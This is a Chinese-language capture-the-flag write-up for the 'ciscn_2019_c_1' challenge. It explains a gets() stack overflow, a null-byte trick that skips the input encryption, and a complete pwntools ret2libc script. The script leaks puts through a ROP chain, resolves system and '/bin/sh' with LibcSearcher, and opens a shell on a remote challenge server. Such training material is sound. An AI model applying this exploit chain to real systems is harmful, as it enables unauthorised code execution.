先看下开了什么保护

1

可以看到只开了NX

进入ida看看函数

2

主函数没有什么

3

这里有个选择

4

终于,在这个函数里面找到了gets函数,可以实现栈溢出

注意:这里输入的值会有个加密的转化,会干扰栈溢出后面有效值覆盖,所以要想办xian法去绕过

if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\00‘来绕过加密

因为没有system bin/sh 现成的函数

现在就可以开始构造ROP

5

6

因为64位的程序

所以payload=a”偏移量+8”+pop_rid(这是调用的寄存器)+puts_got表的地址+puts_plt地址

所以可以构造下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile= 'ciscn_2019_c_1'

p=remote('node5.buuoj.cn',27430)
#p = process('./ciscn_2019_c_1')
elf = ELF(pwnfile)
rop = ROP(pwnfile)

pop_rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x4006b9

main_addr=elf.sym['main']

p.sendlineafter(b'choice!\n','1').strip()
payload=b'\00'+b'a'*(0x50-1+8)
#+p64(0x4006b9)

payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)

p.recvuntil(b'Ciphertext\n').strip()
p.recvuntil(b'\n').strip()
#p.recvuntil('Input your choice!\n')
#leak_addr=u64(p.recvuntil('\n')[:-1].strip().ljust(8,'\0'))
#puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))

#leak_addr = u64(p.recvline()[:-1].ljust(8,b'\0'))
log.success("leak_addr:{}".format((hex)(leak_addr)))

libc = LibcSearcher("puts",leak_addr)

libc_base=leak_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')


log.success("libc_base:{}".format((hex)(libc_base)))
log.success("system_addr:{}".format((hex)(system_addr)))
log.success("bin_sh_addr:{}".format((hex)(bin_sh_addr)))

p.sendlineafter('choice!\n',b'1')
payload2=b'\00'+b'a'*(0x50+7)
#p64(0x4006b9)
#payload2+=p64(pop_rdi)+p64(ret)+p64(ret)
payload2+=p64(ret)+p64(pop_rdi)
payload2+=p64(bin_sh_addr)+p64(system_addr)
#p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload2)
p.sendlineafter(b"encrypted\n",payload2)

p.recvuntil(b'Ciphertext\n').strip()
p.recvuntil(b'\n').strip()
p.interactive()

高版本的Ubuntu要注意堆栈平衡

这样就可以拿到权限了

111